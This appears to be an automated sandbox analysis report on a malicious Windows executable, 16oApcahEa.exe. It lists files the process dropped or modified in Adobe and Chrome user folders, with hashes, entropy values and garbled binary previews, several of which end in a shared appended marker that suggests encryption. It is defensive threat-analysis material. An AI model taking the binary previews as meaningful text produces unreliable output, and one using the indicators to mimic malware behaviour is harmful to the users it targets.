SHA-512:	4AD727BE5CC71CBCC33EAF0015E51370575137E74D460B65A2C5FA6ABE7E153CE981FF3ADB2937E1711D2B9A462DB2B1E3CD353E971881BD5FDED340F5E5075E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................PE..L......`............................. ............@..........................P.......v.......................................;..d.......P...........................................................$..@............................................text............................... ..`.rdata..hD.......F..................@..@.data....r...P..."...0..............@....rihuj..p...........R..............@..`.bek................V..............@..`.rsrc....P......R...X..............@..@................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	581
Entropy (8bit):	7.580906716001533
Encrypted:	false
SSDEEP:	12:kRyGBxp9Z/OVz/Rwse6kg6U6tih/Z9Iexq1//qI/h39M2cii9a:Sl9Z/Oh7kPCLIX/iIJ39pbD
MD5:	74093E72EA8BDA70FA00360FA31FFD1E
SHA1:	CF51528262E96AD24F0CD78802707E982EF2CAAC
SHA-256:	CF9AA13542954220FDFC64169F8670063AAB6A50090D5E397B49AACCA3A5858F
SHA-512:	FEE8C869C4F8728FFA0117E6F658A9600E95214ABC23FBE3132170A61BEB642D6A7DC017A770872F82B1C017F06B4BC2D0ADD04A201DF366B4FBA41C7CFA88E4
Malicious:	false
Preview:	2023/......d.M.+.^..........bKvV.j..~].tza.6.T8.O..7L....'.}L#...\|...(.J....E.X..N.0..ed.....'...,./.'.ONh..\|...4s_Z....b...v.P.?.Q.^_@.e...)!v..../.Ce...Fpg.....%..........4...rj............s,Yb.....6.S65I.LA8?i..&."......G.nOH.Az;Da1..8.+..F.9O.F.q.G.IT..6w\|.....7..)-Sg{.......Lu/&.^.....S...d.vb.n.qXe0G....qQ..E....G...n..n.&(....f.....=R^.........}xj..R..vh....Q%"g....7..KUI^.ZrS...!.v.S.%_Q..;....-0\h.......?W.......G....Y\.:.a.+......x].G..YS..2.E.i...^2..,o.7.e..5wxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	625
Entropy (8bit):	7.593464529263893
Encrypted:	false
SSDEEP:	12:k+6gWcYKqhI5Zfx2lnXEhF3jxfDTBgvQeByyMPUBQ9I+K9kF9M2cii9a:76yEI/x2lnoztUnauQnokF9pbD
MD5:	F1BA5E69A70C35E52EBF81BA12B2D064
SHA1:	6EE1DA18BC939DA5BEBF0FBE56EECC3909551970
SHA-256:	113DDAD01E2BF20DF24BAC843790C3F8224DE1550EF6A9EC10ED3F00A1AFACCB
SHA-512:	3D1381E4EAB0321D7491F0B0530FBE2C640560564E7422584C5218C327080FF5CF6AC68B6461F549CC0E01CBA0CBF3C031F8250DBA697F5FF4A413D8F9173EA4
Malicious:	false
Preview:	2023/i...P...sh...!..r....p.../...E.%2@C..H...P..$.I.VNg..nWe.../...I>.W.MB.."K}..:.......C...K.K...7o....)...QC<...E$......c.!..o...-. l.#..w...I.D.A.R.v..c..(\|?-%..%up..m.....l.....-!).?..-.X.8..C].......9L.w..~.......5..{7.....6.K....t...kd.,....'...%Oy......v....]".U...F.....s{0....]-.....vK$.X..;.r.......('x.+.5....e.a.....h.0........TcE..}SCzg=%.=...l.............s.{.Y....K....6.^..E?..M.........CWK(2...Ecj."Ji4'.....bh4.suw:.3.AA..c.5.B.k)..."(]..#.i.o..-.G.^.!...r.u.2.C.Q.)..!v....m..H...wV...?.NlJ..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.701109902584741
Encrypted:	false
SSDEEP:	12:YKWzPrr4qgEnJf+ZEqI68MNcYYq01vsSG+g6njkkm3Mirld0lPGBzx8m9M2cii9a:YKWzPrz/JGl5YP1vtF9TZcqEzx8m9pbD
MD5:	FE90B83310C98AB0DD7C08CBEF2C9423
SHA1:	8979C9868DD88830C86658CB053FF33D84385FF6
SHA-256:	F26F434CE6DE6397701018ABD6B3486A0AF15172F4D75FA3034097F1AFFC7E04
SHA-512:	90F7901A2C3DE2AC6B45D5DC4559A5226DC22B432CE3C481AD53BE59F378ECA195633983C187F009EC716CBB9A03E5628EA696E731B39E391B06809DF8B4D5FF
Malicious:	false
Preview:	{"os_.ofD.~9i.P../.".c..b...{.?.Cmj1y..[....Y,?...c..<..a/y.Q.6........$)..+n.C.z.3-..q..=.9f[.X...:.DYC.)n.cn...->.....LOT.s..q.f.m?.'O..c.>...I=.&..y.4._.....~.!.{...0.K\.S;`.....U.R..wRW"...k.......aj...68lC....-.L8...,.)M{..%-."!..L...H..)91G....X.O.zR.i..0./....#....mK`..&.w:y..<.yKH3...v.B.}..s.....n..A.......pF5.rq..2.52?.?.ez.x+.Y..Sa......d....].8..?.q.n.H7.....*.w)..<....8`.;.".....j...5vM}..s..Up......@..1......_q(;.T..i..`.Ie...[6c.LN}..'_....)...~`.k.....p2.{.'..?...r..... L...FS3..8......4.C..;!..../..;m...9..g....;........\.C...,....1{. _..D....c].....LL.9>s.#IB6...9=...]xh(......&.........FO..J..B..+.BS.5m^P......$....j1.......o.?.#..R.5...d]Nk.k.~.._.!.....&2.....?rZ".a..@'.o.(xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.857464662210071
Encrypted:	false
SSDEEP:	48:w9XaqIjG/LLQc4+dYieZmo3brpPI/uGzDWfB5IJD:YaPLieZtrrSu7fB56
MD5:	C3932EB5516D590AEA274ACC7974828B
SHA1:	35D08E8974D4F03E680C69D6B138051B6DAD9866
SHA-256:	FB85524173BA8B6B6D44044776C69F6FFC7ACA1DB15EEF1DBFCC5E133F44960F
SHA-512:	96779BC41D8A81C4D9EA08561C917D8205D1BCA4E18E564C43656D9CAE9ABA2C74AB8F571AFB2457137D9523674258B6AA9B7FCF5D8B423AAFA586A5BC4ED52B
Malicious:	false
Preview:	%!Adom`$.ZZS.: NC...B2....5p.!.;..G%..2.$..25IZ\|5.`.....+.;g$.PA.>.-.>.p..'-...".T...eve..0`Nw..m.t..<..cZ..!^=:x....w....(.o..9,...J.)3.&.-.._f.o....?..3.~N....).8~4.CN...\..X....cA.p....v.........i......1..j...w(#...44..;n.H......*......`........MH...j.J..y. w.`...$Aq.!U..j#.....q...m3$]....Ob..#k..?G...n~.9wP]#.T.i...[?.+./.$..u._8j.!TM....5.75c#'.....N.8,.WFBu.M..^..N.Zr>....x...:./.i........Z~..A..S..sY..7.S.....1M.%.W.\|2KD...l%A..(.#....."^.....j`...[..~]&0...2..a.^[9.c..=....8Y...O..Kp.B...HQ!J5......q."...uQGS.#...$..3..?....;.%.:.(mTD.K...!.......w`.z...8.>.}0.""]]...........=z.d:Z.].4..w..1...,.vk..L....3.[.Z...r.V2Z.@.%./?d.h\...g..fN....K..GH\.T.~>.5..9..I.r._..j,r.p.!..<....9..Z.........k.oq.......dNz...\xF..-.O.U..`...)....;..M.#U......ra... )LU.T.9.2. ...\|.@.u.64.....O.....5. .Y........^5..%..~I.2......'r&.w...`...Ol.3HM.1..U...(...H..X.u...lFdVI....:>hE.?.2.T...../,.~~....I...._j.@...7..K.....=..5OMTX. ,.jhE..=.

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.877167821768895
Encrypted:	false
SSDEEP:	3072:UnBa+tnqG4sTAeIV9xkvjWE1CgPmI6xfxSx//j8bfC6cPHLQynulwFeyzC8LoXEh:UBa+tnqQAewRg94foNL8bfC6cPrQAKwB
MD5:	9D83BABB2F7A46A473FE87BFE1CCA4A7
SHA1:	C7150C213D4296FE1844A0B0F7107C945F1ACA89
SHA-256:	66342C0E32E8AA921C45204CDBD3CEB55011602825E17AB487C7DDF7A47102C6
SHA-512:	7A798F3A6D1F31E7CB9D752601799FDE78FAE1ECCE59A3E80BEDEE907BCB9F1833FD29CA917FB7A826D30C86DF726FD04C5F64ABA8F332E7B318245ABAA83A51
Malicious:	false
Preview:	%!Ado..E...8g....&9l0.(.h.=....{F.zB.L..z.X".Q4.m...)B0.. ..]..+......~.d..]....;SN+.r.".=Fc.".^..w.@.....].[.!.$..e....t.!H.I...........]..>y..Z..!.........-.g...R...e..jX....s4..K.db.3.. .. .RT.p.u..4..:h..F.H..]...5.+r......aa...2.u#.....#...=..I....z.........4%.Q....8}./c..Tm.!U........W('bO#.UIDC.H.0I............'.c'.F!..5..'..u..{.r..g..f6Ex..O....I....p!l..{L]6B..A.K........i.b..-.d..K...:..).4..\/...t..(k..E.rP....Fq.D.....=.s...1.6-.0...v.2.7..,}X.(.(9.9:..(..y.:.<:h!V.s..Y&S.z.`.L......>.K...Q......!..Dj....s.4G.:..o...s..... ...>.'IR.pw.B.!p.....K.&\|>.}..._...4...34.C.G...&tN.\.\|...wj.8..N0"...Z..SN....../...%5...-;I2.YZ1.....]-w.C...cJ{s.../a..M....l.-H<...I...d'Q..I.t....%.j...0N.A_....yn_[W. ..u...+R...zg^....V....V...i......j..u..Zx=.a.].%.9:..>2..?b;.d..C.T[..(}.c..z....GU,l.K0.k.....s..i....3wl.5..].....l!U.i<;7i..},s>..x.c.:p+...~...]P.w.....-D.w....#=.Ey`q..E.\.C.I....j.J.JJ..:...&r.sch....g};]}K%...PP..?....'5m.."...!.

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	227336
Entropy (8bit):	6.986610800856321
Encrypted:	false
SSDEEP:	3072:kVn+q5HdJt7+f8Xyg1Ia72dBIbZmQA6yF2tBbIjbaab5OoWiRn+:kV9/if8XdiIbPXyepPaxn+
MD5:	3D7CA04C0B49D03159604EC18B2C0A06
SHA1:	B240536F30764615DFA8BB5BF07C357A0B294DA7
SHA-256:	5095EFA14A8941896A7872B69E5E5D6E50CE49D6A2D026AD459514B4BF72B7B5
SHA-512:	3F7C0CCCFDAA7968F3D0A3D2CEDABE72B3D65989259E4E3E247F2E431E44B5B235AEA21E8A54E27B900BC72717E8B4DE5A5ADA777D71BC48A71B98FDD7E4A404
Malicious:	false
Preview:	Adobe.T..yC..\....X........)1<.N#V.rn.k$D8....4...0....d&..RfF..Q.%..._.....[m....q........t+?6.T..;....-.D..!.r&$v....,....6.2...;w5....z.........;l.iM..D..l.p4...9.:.5ZY...0.A.c.5(bb.y.A4..@6"o..E+x]w$.k..a.....`..9...\...Z..9..Z..... .N#..M...Q......Ep..1...L........y.h....4 .4L.....B.e5.>c%..V.0.$.eC.u.......xA...;.3.}y..Y...L..!].Sy{..........1.\|..pC!~...........:.......d1k..)..~...a?&._...3..x).......P....R{d.+ .l....6J...i.j..om)......^7..e....@#.P...b}.X.{..._T.\f.ZE.5.t.X..u........=..I..d..{eR1...C=.\......^=...,X....a..K.L..R.. ......"...$.p....0...E...%...O+=.p.X..M.u)..... ..l.?.C...oCl..n....z..2R...........R..r.z...L...,K..1.Z.'-1.......i.....1...z..:....%...$..._.\|.\..[..l..+.;..\..}.".l..:.C......N....Q....Ncy'....cFbd2...U.7/..:..[mA_..`.a.....M..Tz,.$;....`+.QP.z..tC.<.......\|5..c9....M...?...{.......G.D.A>l.9D.w.&....lW..L?.fR.....Z.-...J.#=.X.\|qL.y?S_....UT.:......o:R.v&.4..A...X`<s...U..2.`x.r.o./...VM.6)...?z.

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3152
Entropy (8bit):	7.938425503983882
Encrypted:	false
SSDEEP:	96:FZvalsfunYnnBRkuyhdt4rwWympepRBlYQ:zsGShX4rlyrZd
MD5:	1A351A0AA63A746149DF6F57ED1958F0
SHA1:	48347712EC75405734A50273D6B265B64786D6A0
SHA-256:	830088C69909198071D9D59EB67DF9199BADC0FE9B0B6A7B4550E15DE3C021BA
SHA-512:	6B1F5CACB79C1EC43E183A70FDE571981B7CB0A8DA2F687CFDD962C214B239DB9E6627CB88F56CC1795794C3DFDAEAE5C68482804AAA521305EA27C0269354A2
Malicious:	false
Preview:	{"all+.h..r....,..!@.. ...C..Qg".............h..-h...N..a!.p~3M..Na..}>R..=L..._..~....9.....S.....&fB.h\|;%t.,......\.yw.MR....[..i{S.5."..V.=...Y.W<=#.......a...]..l....&vN.s.....ON#.CT..z.yQ>.G...r...e"..)...._..d.....d..dyK.G..?%P..6.....N_.w.BX...R...p.f..W.bV.^7.g..~...8VXSH.Xy..K...U.>..N.n..S...).....u@m.A.0}'..2f.f.3J5..k.X.z..{...o..AE."qu.z_..A..j!5:.1.m.\|..nPA........<./^D...I.b6I%%.;.gv.@.\|..J..uX..7..L8:...urp.....v._..T...B.... D...F...Pr. .e2...OL..e7.=..B......&!.T..`D.....6.W............p..."...$..~.p..:..3....#.....d..(.lbL.4.,G..w...{...!V8fL.....C.b)z.y...Q..lI+.f...>.A6w...<.nRa]ud;.9..(.+.......w.,.Mp.Go...b...Q..3...@.."..@\|......[/.\.......5.6.}L&.>............N..........&-.....d..ZP.B.K.6"..."I.$j.&..p._.I/..-.....u..]1......E".\..r.%...p.i .Zc..c$c..qB...<..TU.&.A.8(.c........?..l.Y}......:........#v.0b.?We..".}..<B'.....8..S.H^.'i(I#.gb.....P"...`..g.4z......Lq... ....l..W.U.E.....q..<...=.MG.u<.L....C<.

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.997214941575902
Encrypted:	true
SSDEEP:	1536:MzGNXycJJ4YonJeZ6HlISED2Ay8CJRpy75uXyG:MzG1z/owolISM2AUy9un
MD5:	EE2786229BF94C138857F5836A0BCC99
SHA1:	1AFF2882579F2E18E366E8B9E80811E799ED1423
SHA-256:	39346EBC16818BB87482D5D2E02D04B70501BA8B4FCEAD31A2D0A9E0456A0A30
SHA-512:	8366F35885784E0D3647B7F007F85A1F82B7408B97FE9ACEB8A4501615A0A28C130AC1DCCEF2F4169E95724D98A1830AEF0A84FB6DA358543F8094AA62888828
Malicious:	true
Preview:	4.397C...J.[M.V.....N..n.o[.E....H..;N8..v..j.4.Y.jwOk...P.T"Kk..99.W..,{.t.c.+P."..5...m"d.<vwp.=......-a_.........Hf.(.P..7B.>QK..a.s-.p..8.Q=..z......qr1..ZAl......B.,...J.).<.Iz....{}..C.AtK....&.Vy.w.WX..KT..C..U..V. _x....aU.K.....W2kx..%..V..NG.-:.q.+s..M=...<....!Hi..zy..^..qK.;.D.....{6...)i..V..d..&.0._..~#nlm...D.d..4h.'...R.. .....9O..@.............U..`{..0...O.4r.A..{Q......B..:g..".....B.d&..x2N.c.(..R....G)...%{4rd....e.....Nj0.8......yC.I0Y."`.n~D..h_.^.ei3......3{..+\.`FC...]LCk.B.N..Lv...H..6.@..kO..o.H..eiR..x.....?kg...'o.Sn...g.j..UMV.\.XV....o..N$.....%..x.1fV..]\.....N./..~.....:.._.. K....`[...d...u8"E....y.i.H.7/k...K...LxG.$e(...fq"..rr&.E..HY.cL..v..S\...nT...R.q{.z7...{..H.$....j..yZ.`<2......`...O...(.ni.M.(5..5e...d...I..g(..X..<\.>.7."....^R.:.............t....Z.e.....v.P.b...n.s...N.*.6..y...F..E<..g...4z.]....q.m....{eA...s.\|.>.i......Xl.l...#.......%R.83.j..N.........Jeh.\|......9.Y..4.^...w.i,+v.8.J.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.497835094756793
Encrypted:	false
SSDEEP:	12:qv9aZkj3ztjyr9LUPJDr3vn6jJ9I3pWsosXqutaYluopgkJ1Ds9M2cii9a:iaZ8pyrUwENqusY0o+k7Ds9pbD
MD5:	A320964FE373A4B1421AF209227FAA4E
SHA1:	19601981DD659BEC34D583AD9082A8AD6D83C98E
SHA-256:	11D480258A45F1636B53B6F5C445665619BC2FCFE287E058F8AC69F0EBFDC650
SHA-512:	D309F36A778DD3E6FCE0666A8460CD910CC8521DCFBEE2171898948C93064D40D507976E0C1F9BEFBE8DECCF203393715013736C5B65638BB42D84518E933810
Malicious:	false
Preview:	.f.5..._..T.O".?..K.U....j..c...=^.......%n..5{.....N#0Ny..'.7.{....E....!!k...._.t...NU).Xw.8..f...s.])G....[.GA.K/..l?N%%....I..d.......\|.f.+.K~..h...4+.}....A...)(.......D<B.....QB..f.l..U6.. ...;q<{..9..H.G..C.u..'G......e.gU.6(v.E.&.<....`.*..........Z.-....D(..`..`W.7.y.........!..A.Z..OV.=.>......Zq...j.6..HD....%....X:.x.;..KFU..<..]5.`.1`.K.#.AEY...S".N..L..k\.au.h...P..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.484992008338356
Encrypted:	false
SSDEEP:	12:qVav+w61e9o2NIZUYaPqB0K4HHIEjwqe9M2cii9a:Qp8G2uZRfyKgHIAwt9pbD
MD5:	7C1CAEC2D9A19F94761BB50D81F9C241
SHA1:	EC27B0947220FB7E560A0F887A26473501595135
SHA-256:	360510971466953BEC5471B9B86B1A61FDC336625CC32728DDB408B0AF4B3D09
SHA-512:	C2930EBF060FC98148E45EB5D3E064EBD526B7DFF8A05C56B2DCBB3AA82BAAD0C0B6882D149C61FA079CD3E8A77CC453C8F09362802FB2977D29BFD8B2528372
Malicious:	false
Preview:	.f.5..)..)-I>+..#..V.aZ.I..#.b....~..c1O..*.7.....{..]m.......>./Sdb..hcw..d......Lt.PA.a.........\6m..m..x....X..>..a..xU,.:.y..P^.=T'@..)k..Q}.Y..Z.#.C.&3...D.,f..a:n...W<.i.zG`..:.A. T<..]Y.:.S...<$b.....x............3./.......N...O5.;...~y.cEKf..2...Q....tfw.<.....I.YJi.P...Bd.4..3g..v.(.>.R.mE.v.5.`......>....pV.6.....$...S..I:..q....?eT.G.a..<Y..<H$.U..QA......oSgjru.+A_L.&....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	790
Entropy (8bit):	7.702745085276236
Encrypted:	false
SSDEEP:	24:GZsWWosiAZu52Z/Ak5BRGQO4o75QX9pbD:GZsJosiJ52ZBROnetJD
MD5:	2A431F23C779157912F26F5D63ACF9EF
SHA1:	039BF393905B9EA60829ECB86C51C24EFAFB7B14
SHA-256:	68A11C8A9583444FD5F3AA7CF9A555C0C838E1ED8779957DFF214E1F82211C1F
SHA-512:	7F8E6B026040AE81D9AD6E59D200E483A50856478B11A771B434B42C295B292B4B6E4E34B60E1C5229815BF687DCCD45A8FA42686F59541775B6268E867EF2EA
Malicious:	false
Preview:	.f.5.....t.pQ(8.+....Zb3...26.....h..p.../.7W.0..3.._`.."...joR...0F.;.e...s..[...../...3.v.\.k.:.F=%/...`.[...MNS..r..[.A....[2.Qe.t..H..8.V9.....8...~..wf.f....Wfn...Z.8.Lgf/E.i!X".Q..pp..H<&R;....8E....x.;....N..6..V.D.d.h.H....~...?..o..B9Z.v.P...{..)..f.p..W...X.f.....5a.........?V.al.X....!6..;...[x.>.0.-)...A}sc...U.D_..../s.e.FX..Mr{E#..>H^SR.U...te............. j...[W...A(.....v..5vv..%..Yw.9.4w#..{G..pe.T...U..7L{}_. .%.. ....;st\|{..O.d.T...C.F+.P.....}5.K).1.'.9..c..........#..&s.H.I..u%7?}\|..y.}..F7.........bKV.>...P<...4.<l... .WM.]..@7...Q.u.........*..#+.DF.....0@..J....R........0L[.w.%..l..F.-..S......K.9..o.i....-.....hE..(gA....p.EI...P...........B8.=6.>.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\128.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	5316
Entropy (8bit):	7.967515622526248
Encrypted:	false
SSDEEP:	96:W72Yoi7nhuEWVAM1xjkCFm5FlBYUz+XRvHqLMfWSVF0Joo:W5XhuEWVAM/jkCFm5BYUkHqLMfWSXo
MD5:	FA0274E909525376B35A544731F297C9
SHA1:	7F6721033946CBE32CE9FE8F2C27CCDBC66B51BA
SHA-256:	3E1D6ABF8A379CDEA14DC1EC2B746C2138FAA3DC2286699E827346A5E8212B91
SHA-512:	911561F6BA84D1A6087C8466CD4A24FA5B6BA0D7F64B2225B6DBF3BB618841F01577657129D5021D0348068DB3D00A9E2CEC374A55833CBEF1E0427DEA86A8C3
Malicious:	false
Preview:	.PNG.p....L.1z..Nt.<.b.t.r...$;z.E...wE.(d`q..eQ..sl...-.j...6.}'1.\.1J.v..\..5.....F.?.,#....n......>g....i..<).xB....ojY....Gq...".P.]a.f.b.....~....@7...yl."..BZ...\....^..K.z.c../.8.i.W.3f..%g(p8.s.h.u8.V...C..hYD#.5...&....`0e...Z....$u...^..@....q....W...Yq....2.I....;..1......v.g...M.8....d......2.........lt...M.RH..V.5..]...#G.....x...<.......6.#l1....p..>.d..ab...)..(....%.....U....2.>Z...PS1..)/..7.b.......Y..bm.q..aT0$....ww~<U?q.m.Q=.3.T?K...qb.4.s......1.A.5?...w?p..e.G\<N&.%..Z>B....j].Q....F.<LP.YR....h...8..v`.s...nMX......@....f..J..%..Y.....'C,_..<.@N..F....=/}.6V....;........k..S...0..!...{>1.n..s.y....d.H.%..1..-H.W...55..Q..."t...h....W.........k.v4.....9.,._.....,.......}P...as..T.e.....s.!B...x).x..;{^.V...)l./....\$k.g.\|W..Q.&...`......si.g...p.].3....}qZ].s[.xnO.....C...d.CcxH.47.L.a.p...WI.L..~Tui......Z...]..5ue...}.i....N).5.........hO`.....#6.:....6..u.....<..#.Rg..g,.....e`.....s.GQ...5..Mjx....Q..i.....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_metadata\computed_hashes.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3748
Entropy (8bit):	7.950212201361243
Encrypted:	false
SSDEEP:	96:HKGl4BDJdnNyO6xBn4uK+8uT+RsZYeY7ohOLSAHGgF:qu07OxBn4uKBCZYvkQ2Am0
MD5:	B832E26E3D2829AFC95EE3D866288419
SHA1:	F3FC4829EB586FC613EAE24EA333AE01EF77BB12
SHA-256:	EE0D423CEE638A764F3D6E060B831534B527C6388353CDA3AE1C2BE02CC46C8E
SHA-512:	E45FCB568CB395036CBEE199F2B69D320F8B44D2A1401414F148456B5E5173ABC2492B4D09ABAA1B8AF1B4F023A4EA39D8C4E114A5D241E6EB366860A594F1D1
Malicious:	false
Preview:	{"fil.7..g.K.U..ni.A.....]..Y..&....!ak.d0".....2+....".......v..0..~...G?......... whFng'8..6...fs..%`.}.)T.......5.c..E....9.^...:.P.K...c.d.....WB.S8..]D.{..Y.4..>..%6.../W....w.....O...G.........T9.[<..........Bk..]@F...:....{.G...J...8.u...Ks..^.....b..[.....{vs..lV....g9._Z.B.7.I...X.HiKF.#g.4E/.-{%.}...2.<.).i.........U.w.D...{f>.j......}.2:$.[b.2i`...).e......8g.....sr/....G.a.+>..n`.Z".^,.6.m.1...y..~cp_..R'..B...\O./.Y..4...g^.q...6....O..5.....%%.}...).v/F@.?0.QP.{.d9.8.j.F....#..KK..l..\v.!E~U...........Z.m.....L#-....~.Rr_....?...Kc.5Z6_....s...Q...-...]..U.#.......{-...(..\|Q...0_.a......W{..!..JeOu ...6....k.L1.. lMT. ..B....!.4...qBh6-r.......I..p8,..F...?.s=.W..........$b.&../.w.....ZK.<!..@..._......8.....e.../..q.Z.".....R...K{..9..n..u....\|9N.t.u..;...N.....(.G...EZI\w...myMK`...+...T#L.Y..ySJ....O....j>.q.@...r...?}.A!R.......!..eSq9K..\3ly._.1.)=...G..(};.....I..;.5. .$.`..a0B._....k].y.iN9..Kx....J..o..c.j

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	18852
Entropy (8bit):	7.990381389007328
Encrypted:	true
SSDEEP:	384:cTPVmRzDPubN8ATMdcsHOAstDhswZq46Sa7RVewKrl7nEU9SaA++H:cTPgRzDyN8zZyMS6VMFRNAD
MD5:	6A6FC77CEABF53B856A11F6FC46758C5
SHA1:	F873D2EE6FC0490F39C351A04D43D2840A9C4732
SHA-256:	71C9AFADE88E300A829234B4B79B6C43C2ACDF97B77377796EAADB42727FAA66
SHA-512:	C50CDA78303BF255DB347CA73616ADC670A4A7C4E93BCF5883EB7D6441BF27E4D71337AEE242392840CEF510925C49E9D43A3ACAFA57C4CBF8D710797D606B02
Malicious:	true
Preview:	[{"de......2.x..ILF...'.;z..`..O.yO.i..y.P.....8 ..5_....x..W..!S...3_... .X]...`l,c%@K4!b_AY.Z......=.....i..Pw....R..Y...,.(!.&~..ZJ..].f..V.v.7=X\|3....{m{.p...W......-".?........<yK><..KtYD... q.U.....>e..6.....#.,.S...V.h~9a]N..... r8....?...6...\|\|.YN....5....M./..../...{.X..k%...j.o ....U}../..F.@ <.wa.@...mY.~..Z.}?./W........gc....\|m..KVfF.p..m.{..I?...40.'.........l(.]...R?n..r..8....R.j=.h.p.......i0@l'M3./...+....;..YI\|]....u...."S.r:@omI0.8..V:.1'..:.2=i.5...i...q....Q.j..=]+.$YkED.....{Fx.$j..x7.T....[..Zn...]LL].._...H...N...o\.r.(....O"3:/.M3...C..a.....;...........^Sg...G...w. .In.+.~.D..X.vQ._..:.....H.U.(..%...w..>I[?.LM.D7E24A5.7...0l.Gq@......pdjd. ..g.V.]ct..sw.6M.S...R...;{...+,\0"...2.,..".J.t4.........A$.d.cql..D.=....b......@h... G.#....p.i.4.E.b=..N1.....$.........u+.Q..\|.....Ra...yi$.....f.......\|u..k.&..m...Ig..\.M.W..QOQ..dm{...X9.f..( ..".[.>a.j@....+.B..r!.g.?..{....kh...6...1............v`t.......l.KUA

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\dasherSettingSchema.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1188
Entropy (8bit):	7.815721200445502
Encrypted:	false
SSDEEP:	24:qDXftNQK9GhfKbTpEJgQRYC2WOGQfWFL5hBV9pbD:qDXFyKtWJ5N2wWWZBPJD
MD5:	1E7C678219BA2FC96CE4C66DD7B62EC5
SHA1:	25F5B2FD8E557DC49AE54DE3060B445ED02E516F
SHA-256:	ECBC6355CECE09F2F8D1FDDF9A4BC6B90921FA30264398C4D3D856B60DC03B84
